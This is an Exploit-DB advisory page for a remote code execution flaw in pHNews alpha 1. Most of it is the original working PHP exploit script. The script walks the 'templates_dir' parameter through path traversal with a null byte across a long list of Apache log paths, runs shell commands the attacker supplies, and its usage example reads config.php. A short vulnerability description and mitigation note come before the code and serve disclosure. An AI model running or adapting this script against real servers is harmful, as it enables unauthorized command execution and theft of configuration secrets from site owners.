pHNews Remote Code Execution Exploit

vendor:

pHNews

by:

Kacper (a.k.a Rahim)

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: pHNews

Affected Version From: pHNews v.alpha 1

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

pHNews Remote Code Execution Exploit

The pHNews script is vulnerable to remote code execution due to insufficient input validation. An attacker can exploit this vulnerability by manipulating the 'templates_dir' parameter to execute arbitrary code on the target server. This exploit works when register_globals is set to On and magic quotes are turned off. The attacker can specify a command to be executed on the target server.

Mitigation:

To mitigate this vulnerability, it is recommended to update the pHNews script to the latest version or apply a patch provided by the vendor. Additionally, enabling input validation and sanitization can help prevent remote code execution attacks.

Source

Exploit-DB raw data:

#!/usr/bin/php -q -d short_open_tag=on
<?
$devilteam = "

:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- pHNews <= alpha 1 (templates_dir) Remote Code Execution Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: pHNews v.alpha 1
- [Script site: http://www.phnews.org/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus ;]
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";
/*
this works against register_globals=On
and magic quotes = off
*/
print $devilteam;
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd options\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to pHNews\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /lists/ cat ./config/config.php\r\n";
echo "php ".$argv[0]." localhost /lists/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$paths= array (
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] PATH: ".$paths[$i]."\r\n";
$packet ="GET ".$p."modules/comments.php?templates_dir=".$paths[$i]."%00&cmd=".$cmd." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"56789"))
{
 $temp=explode("56789",$html);
 echo $temp[1];
 echo "\r\nExploit succeeded...\r\n";
 die;
}
}
?>

# milw0rm.com [2006-09-04]